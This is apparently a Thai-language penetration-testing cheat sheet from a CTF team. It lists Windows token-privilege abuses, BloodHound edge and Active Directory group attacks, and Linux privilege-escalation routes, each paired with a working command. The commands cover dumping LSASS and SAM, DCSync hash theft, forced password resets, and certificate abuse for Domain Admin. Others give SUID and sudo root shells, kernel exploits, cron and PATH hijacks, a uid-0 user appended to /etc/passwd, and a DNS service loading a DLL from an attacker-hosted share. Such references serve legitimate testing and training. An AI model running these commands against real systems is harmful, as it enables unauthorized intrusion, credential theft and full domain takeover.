YARMTUK CTF TEAM

Pentest Reference

← กลับหน้าคำสั่ง

🪟 Windows Privileges (สิทธิ Se)

Windows token privilege (สิทธิ Se*) ที่ใช้ยกสิทธิเป็น SYSTEM/Admin ได้ ตรวจด้วย whoami /priv แล้วมองหาตัวที่ Enabled/Disabled (หลายตัว enable เองได้)

SeImpersonatePrivilege

ยอดฮิต
คืออะไรสวม (impersonate) security token ของ client ที่มาเชื่อมต่อเราได้
abuseหลอกให้ SYSTEM auth มาหาเรา แล้วสวม token → รันเป็น SYSTEM (Potato family)
ใครมักมีservice account เกือบทุกตัว: IIS (iis apppool), MSSQL, และ account ที่มี SeAssignPrimaryToken — เจอบ่อยสุดหลังยึด webshell/SQL
PrintSpoofer
PrintSpoofer64.exe -i -c cmd
หลอก spooler ให้ส่ง SYSTEM token — วิธีที่เสถียรสุดบน Win10/2019+
GodPotato
GodPotato-NET4.exe -cmd "cmd /c whoami"
ใช้ได้กว้าง Win8-11/2012-2022
JuicyPotatoNG
JuicyPotatoNG.exe -t * -p cmd.exe
รุ่นใหม่ของ JuicyPotato
RoguePotato
RoguePotato.exe -r {KALI} -e cmd.exe -l 9999
เมื่อ default ports ถูกปิด

SeAssignPrimaryTokenPrivilege

คืออะไรกำหนด primary token ให้ process ใหม่ได้
abuseใช้คู่/แทน SeImpersonate ในการทำ Potato — สร้าง process ด้วย token ที่ได้มา
ใครมักมีมักมากับ SeImpersonate ใน service account
ใช้ร่วม Potato
(ใช้ token จาก Potato สร้าง process)
tool เดียวกับ SeImpersonate รองรับทั้งคู่

SeDebugPrivilege

ยอดฮิต
คืออะไรdebug/เปิด handle เข้า process ใดก็ได้ รวม process ของ SYSTEM
abusedump LSASS เอา cred, inject shellcode, หรือขโมย token ของ SYSTEM
ใครมักมีLocal Administrators โดย default, บาง service (EDR/backup/monitoring)
Dump LSASS (procdump)
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
แล้ว pypykatz lsa minidump lsass.dmp บน Kali
Dump LSASS (comsvcs LOLBAS)
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\l.dmp full
ไม่ต้องอัปโหลด tool
mimikatz token
token::elevate
ยกเป็น SYSTEM ด้วย SeDebug ใน mimikatz

SeBackupPrivilege

คืออะไรอ่าน/คัดลอกไฟล์ใดก็ได้ (ข้าม ACL) เพื่อการ backup
abuseคัดลอก SAM/SYSTEM หรือ ntds.dit (บน DC) → dump hash แบบ offline
ใครมักมีกลุ่ม Backup Operators, Server Operators, account ของ backup software
Save hives
reg save hklm\sam sam & reg save hklm\system system
แล้ว secretsdump -sam sam -system system LOCAL
DiskShadow + robocopy (ntds)
diskshadow /s script.txt ; robocopy /b E:\Windows\NTDS . ntds.dit
วิธีคัดลอก ntds.dit ที่ถูกล็อกไว้ บน DC
Auto (NetExec)
nxc smb {IP} -u {USER} -p '{PASS}' -M backup_operator
ทำ flow ทั้งหมดอัตโนมัติ

SeRestorePrivilege

คืออะไรเขียนไฟล์/registry ใดก็ได้ (ข้าม ACL)
abuseเขียนทับ binary ของ service ที่รันเป็น SYSTEM, image-hijack (utilman/sethc), แก้ registry service
ใครมักมีBackup Operators, Server Operators
Image hijack
reg add "HKLM\...\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d cmd.exe
กด Win+U ที่หน้า login ได้ SYSTEM cmd
Service binary overwrite
(เขียนทับ exe ของ service ที่รันเป็น SYSTEM)
แล้ว restart service

SeTakeOwnershipPrivilege

คืออะไรยึดเป็นเจ้าของ (owner) ของ object/ไฟล์ใดก็ได้
abusetakeown ไฟล์ service SYSTEM → แก้ ACL ให้ตัวเอง → เขียนทับ → รันเป็น SYSTEM
ใครมักมีบาง service account, admin
Take ownership
takeown /f C:\path\service.exe && icacls C:\path\service.exe /grant {USER}:F
แล้วเขียนทับ binary

SeLoadDriverPrivilege

kernel
คืออะไรโหลด/ถอน kernel driver
abuseโหลด signed-but-vulnerable driver (BYOVD) แล้วใช้ช่องโหว่รัน code ระดับ kernel (ปิด EDR ได้)
ใครมักมีบาง service, printer operators (ในบางเวอร์ชัน)
BYOVD
(โหลด Capcom.sys / vulnerable driver แล้ว exploit)
เช่น EoPLoadDriver.exe + Capcom exploit

SeManageVolumePrivilege

คืออะไรจัดการ volume — ได้สิทธิเขียนเต็ม (full write) ทั้ง C:\
abuseเขียน DLL ลงโฟลเดอร์ระบบ → DLL hijack เป็น SYSTEM
ใครมักมีบาง service account
SeManageVolumeExploit
SeManageVolumeExploit.exe
ได้ write ทั้ง C:\ แล้ววาง DLL hijack

SeTcbPrivilege

kernel
คืออะไรact as part of the OS — สร้าง token ที่มีสิทธิใดก็ได้
abuseสร้าง token ที่มี group SYSTEM/สิทธิใดก็ได้ = ยกสิทธิเต็ม
ใครมักมีหายากมาก (service ระดับลึก)
(rare)
(สร้าง token ด้วย API LogonUser + สิทธิ TCB)
พบไม่บ่อย

🩸 BloodHound Edges (การอ่านผล)

แต่ละลูกศร (edge) ใน BloodHound = สิทธิที่ node ต้นทางมีต่อ node ปลายทาง คลิกขวาที่ edge ใน BloodHound จะมี Help + Abuse Info เสมอ ด้านล่างสรุปตัวสำคัญพร้อมวิธี abuse

ACL — คุม object

GenericAll

คุมเต็ม (full control) บน object

ทำได้ทุกอย่าง: reset รหัส (user), RBCD/shadow cred (computer), add member (group)

bloodyad -H {DC} -d {DOMAIN} -u {USER} -p '{PASS}' set password {TARGET} 'New!'

GenericWrite

เขียน attribute ที่ไม่ได้ป้องกันได้ (แต่ไม่ใช่ DACL)

ตั้ง SPN (targeted Kerberoast), shadow cred, RBCD, logon script

bloodyad ... set object {TARGET} servicePrincipalName -v HOST/x

WriteDacl

แก้ DACL (รายการสิทธิ) ของ object

เพิ่ม GenericAll ให้ตัวเอง; บนโดเมน → เพิ่ม DCSync

bloodyad ... add genericAll {TARGET} {USER}

WriteOwner

เปลี่ยน owner ของ object

ตั้งตัวเองเป็น owner → owner แก้ DACL ได้ → GenericAll

bloodyad ... set owner {TARGET} {USER}

Owns

เป็นเจ้าของ object อยู่แล้ว

owner เขียน DACL ได้เสมอ → add genericAll

bloodyad ... add genericAll {TARGET} {USER}

WriteSPN

เขียน attribute servicePrincipalName ได้

ตั้ง SPN ให้ target → targeted Kerberoast → crack รหัส

targetedKerberoast.py -v -d {DOMAIN} -u {USER} -p {PASS}

Extended rights

ForceChangePassword

reset รหัส user ได้โดยไม่ต้องรู้รหัสเก่า

ตั้งรหัสใหม่ให้ target แล้วล็อกอินเป็นเขา (ระวังรหัสเดิมพัง)

bloodyad ... set password {TARGET} 'New!'

AllExtendedRights

ได้ extended right ทั้งหมดบน object

= ForceChangePassword (user) / อ่าน LAPS (computer)

bloodyad ... set password {TARGET} 'New!'

AddMember

เพิ่มสมาชิกเข้ากลุ่มได้

add ตัวเองเข้ากลุ่มสิทธิสูง (DA, Backup Operators, DnsAdmins)

bloodyad ... add groupMember '{GROUP}' {USER}

AddSelf

เพิ่มเฉพาะตัวเองเข้ากลุ่ม

เหมือน AddMember แต่จำกัดที่ account เราเอง

bloodyad ... add groupMember '{GROUP}' {USER}

ReadLAPSPassword

อ่านรหัส local admin (LAPS) ของเครื่อง

ได้รหัส local admin ปัจจุบัน → login/psexec

bloodyad ... get object '{TARGET}$' --attr ms-Mcs-AdmPwd

ReadGMSAPassword

อ่าน managed password ของ gMSA

คำนวณ NT hash ของ gMSA → PtH เป็น service นั้น

bloodyad ... get object '{TARGET}$' --attr msDS-ManagedPassword

Kerberos delegation

AllowedToDelegate

target ทำ constrained delegation ไปยัง service อื่นได้

S4U2Self+S4U2Proxy สวมรอย user ใด ๆ เข้า service ปลายทาง

getST.py -spn cifs/{TARGET} -impersonate Administrator ...

AllowedToAct (RBCD)

เราตั้ง RBCD บน target ได้ (มี GenericWrite/GenericAll)

add machine account เรา → set RBCD → getST impersonate admin

bloodyad ... add rbcd {TARGET} 'EVIL$'

Credential / DCSync

DCSync

มีสิทธิ GetChanges + GetChangesAll บนโดเมน

จำลองเป็น DC ขอ replicate → ดึง hash ทุกคน + krbtgt (golden ticket)

secretsdump.py -just-dc {DOMAIN}/{USER}:'{PASS}'@{DC}

SyncLAPSPassword

อ่าน LAPS ได้ผ่านสิทธิ replicate เฉพาะ

ดึงรหัส LAPS ของหลายเครื่อง

nxc ldap {DC} -u {USER} -p '{PASS}' -M laps

Access / session

AdminTo

เป็น local Administrator บนเครื่องนั้น

psexec/wmiexec รันเป็น SYSTEM, dump SAM/LSA

impacket-psexec {DOMAIN}/{USER}:'{PASS}'@{TARGET}

CanRDP

อยู่กลุ่ม Remote Desktop Users

ต่อ RDP เข้าเครื่องแบบ interactive

xfreerdp /u:{USER} /p:'{PASS}' /v:{TARGET} /cert:ignore

CanPSRemote

อยู่กลุ่ม Remote Management Users (WinRM)

evil-winrm เข้า shell

evil-winrm -i {TARGET} -u {USER} -p '{PASS}'

HasSession

user มี session login ค้างบนเครื่องนั้น

ถ้าเราเป็น admin บนเครองนั้น → mimikatz ดึง cred ของ user

sekurlsa::logonpasswords

SQLAdmin

เป็น sysadmin บน MSSQL instance

xp_cmdshell รันคำสั่ง OS เป็น service account (มัก SeImpersonate → SYSTEM)

mssqlclient.py {DOMAIN}/{USER}:'{PASS}'@{TARGET} -windows-auth

ADCS (certificate)

ADCSESC1

template ยอมให้ระบุ SAN + client auth + enroll ได้

ขอ cert สวมเป็น Domain Admin

certipy req -u {USER}@{DOMAIN} -p '{PASS}' -ca CA -template T -upn administrator@{DOMAIN}

ADCSESC8

CA web enrollment เปิด + ไม่มี HTTPS/EPA

NTLM relay ไป CA → ขอ cert ให้ DC/user

certipy relay -target http://CA

👥 AD Privileged Groups (กลุ่มสิทธิสำคัญ)

กลุ่มสิทธิสูงใน AD ที่ถ้าเข้าถึงได้ = ยกระดับได้ทันที เรียงจากอันตรายสุด — ใน BloodHound มองหา path ที่วิ่งเข้ากลุ่มเหล่านี้ (ตั้ง Mark as Owned แล้วดู Shortest Path to here)

Domain Admins

Tier 0
คือadmin เต็มทั้งโดเมน
อันตรายคุมทุกเครื่อง+DC ในโดเมน = เกมจบ
noteเป้าหมายสูงสุด — สมาชิกเป็น local admin ทุกเครื่องในโดเมนโดย default

Enterprise Admins

Tier 0
คือadmin เต็มทั้ง forest (ทุกโดเมน)
อันตรายคุมทุกโดเมนใน forest
noteสูงกว่า DA — มีเฉพาะใน root domain ของ forest

Administrators (Domain)

Tier 0
คือadmin บน DC
อันตราย= คุม DC ได้
noteDA/EA อยู่ในนี้ + อาจมี custom account

Schema Admins

Tier 0
คือแก้ schema ของ AD ได้
อันตรายฝัง backdoor ระดับ schema (persistent ทั้ง forest)
noteใช้น้อยแต่ทรงพลังมาก

Backup Operators

Tier 0 (de facto)
คือbackup/restore ไฟล์ใดก็ได้ (SeBackup+SeRestore)
อันตรายบน DC → คัดลอก ntds.dit = ดึง hash ทั้งโดเมน = เทียบเท่า DA
noteมักถูกมองข้าม! เป็น path ยกเป็น DA ที่พบบ่อย

Server Operators

Tier 0 (de facto)
คือจัดการ service/ไฟล์บน DC
อันตรายแก้ service บน DC ให้รัน payload เป็น SYSTEM
noteมี SeBackup/SeRestore บน DC ด้วย

Account Operators

Tier 1
คือสร้าง/แก้ user และกลุ่ม (ที่ไม่ใช่ protected)
อันตรายสร้าง user, add เข้ากลุ่ม (ยกเว้นกลุ่ม Tier0)
notereset รหัส user ทั่วไปได้ → lateral

DnsAdmins

Tier 1
คือจัดการ DNS server (ที่มักรันบน DC)
อันตรายโหลด DLL ผ่าน dns service → รันเป็น SYSTEM บน DC (CVE-2021 เก่า, บาง env ยังได้)
notednscmd /config /serverlevelplugindll \\{KALI}\dll\evil.dll แล้ว restart dns

Print Operators

Tier 1
คือจัดการ printer บน DC + SeLoadDriver
อันตรายโหลด vulnerable driver (BYOVD) → kernel
noteมี SeLoadDriverPrivilege

Group Policy Creator Owners

Tier 1
คือสร้าง/แก้ GPO
อันตรายแก้ GPO ที่ผูกกับ OU → รันคำสั่งบนทุกเครื่องใน OU นั้น
noteใช้ SharpGPOAbuse / pyGPOAbuse

Remote Desktop Users

Access
คือต่อ RDP เข้าเครื่องได้
อันตราย= CanRDP ใน BloodHound
noteinteractive access → หา cred/privesc ต่อ

Remote Management Users

Access
คือต่อ WinRM (PowerShell Remoting)
อันตราย= CanPSRemote → evil-winrm
noteไม่ต้อง admin ก็เข้า shell ได้

Protected Users

ป้องกัน
คือกลุ่มที่ 'ป้องกัน' account (ไม่ใช่กลุ่มโจมตี)
อันตรายaccount ในนี้ใช้ PtH/PtT ไม่ได้ (ปิด NTLM, บังคับ Kerberos AES)
noteถ้า target อยู่ในนี้ = โจมตี credential ยากขึ้น

Cert Publishers

Tier 1
คือpublish certificate ไป AD
อันตรายเกี่ยวข้องกับ ADCS abuse บางแบบ
noteดูคู่กับ ADCS ESC

🐧 Linux Privesc Essentials

เส้นทางยกสิทธิบน Linux ที่พบบ่อยสุด รัน enum ก่อน (linpeas.sh / id / sudo -l) แล้วไล่ตามหมวดด้านล่าง เทียบ binary กับ GTFOBins เสมอ

SUID / SGID ไฟล์ที่รันด้วยสิทธิเจ้าของ (มัก root) แม้ user ธรรมดารัน

หา SUID
find / -perm -4000 -type f 2>/dev/null
หาไฟล์ SUID ทั้งระบบ แล้วเทียบ GTFOBins
หา SGID
find / -perm -2000 -type f 2>/dev/null
ไฟล์ SGID (รันด้วยสิทธิกลุ่ม)
abuse ตัวอย่าง (find)
find . -exec /bin/sh -p \; -quit
ถ้า find เป็น SUID → ได้ root shell (-p คงสิทธิ)
abuse (custom SUID)
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; /tmp/rootbash -p
ถ้าเขียน SUID เองได้

sudo คำสั่งที่รันด้วย sudo ได้ — เทียบ GTFOBins ทุกตัว

เช็คสิทธิ sudo
sudo -l
ดูว่ารันอะไรได้บ้าง มองหา NOPASSWD และ (ALL)
sudo ALL
sudo su -
ถ้า (ALL:ALL) ALL = เป็น root เลย
GTFOBins (เช่น vim)
sudo vim -c ':!/bin/sh'
binary ที่ sudo ได้ → เปิด shell (เทียบ gtfobins.github.io)
LD_PRELOAD
sudo LD_PRELOAD=/tmp/x.so <cmd>
ถ้า env_keep+=LD_PRELOAD → โหลด .so ที่ setuid(0)
sudo CVE (Baron Samedit)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
CVE-2021-3156 บน sudo เก่า → root

Capabilities สิทธิเฉพาะทางที่ให้ binary (ละเอียดกว่า SUID)

หา capabilities
getcap -r / 2>/dev/null
มองหา cap_setuid, cap_dac_read_search
abuse cap_setuid
./python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
ถ้า python มี cap_setuid+ep → root
abuse cap_dac_read_search
(อ่านไฟล์ใดก็ได้ เช่น /etc/shadow)
อ่าน shadow แล้ว crack

Cron / Timers งานที่รันตามเวลา (มัก root)

ดู cron
cat /etc/crontab; ls -la /etc/cron.*
หา script ที่ root รันและเราแก้ได้
เฝ้า process (pspy)
./pspy64
เห็น cron/process ที่รันโดยไม่ต้อง root — จับ job ซ่อน
writable script
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/cronjob.sh
ถ้า script ที่ cron รันเราเขียนได้
wildcard injection
(สร้างไฟล์ชื่อ --checkpoint=1 --checkpoint-action=exec=sh)
tar * ใน cronjob → command injection

PATH / library hijack ตัวแปร PATH หรือ shared library

PATH hijack
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rb;chmod +s /tmp/rb' > /tmp/<cmd>; export PATH=/tmp:$PATH
ถ้า SUID เรียก binary แบบ relative path
writable /etc/ld.so.conf.d
(วาง .conf ชี้ไปโฟลเดอร์เรา แล้ว ldconfig)
library hijack

Kernel / อื่น ๆ ช่องโหว่ kernel และ misconfig อื่น

เช็ค kernel
uname -a; searchsploit linux kernel <version>
หา exploit เช่น DirtyPipe, PwnKit, DirtyCow
PwnKit (pkexec)
./PwnKit
CVE-2021-4034 — ได้ root เกือบทุก distro ปี 2021-2022
DirtyPipe
./dirtypipe /etc/passwd
CVE-2022-0847 kernel 5.8-5.16
writable /etc/passwd
echo 'r00t:$(openssl passwd -1 -salt x pass):0:0::/root:/bin/bash' >> /etc/passwd
ถ้าเขียน /etc/passwd ได้ → เพิ่ม user uid 0
NFS no_root_squash
showmount -e {IP}
mount แล้ววาง SUID root binary
Docker group
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
อยู่กลุ่ม docker = root ทันที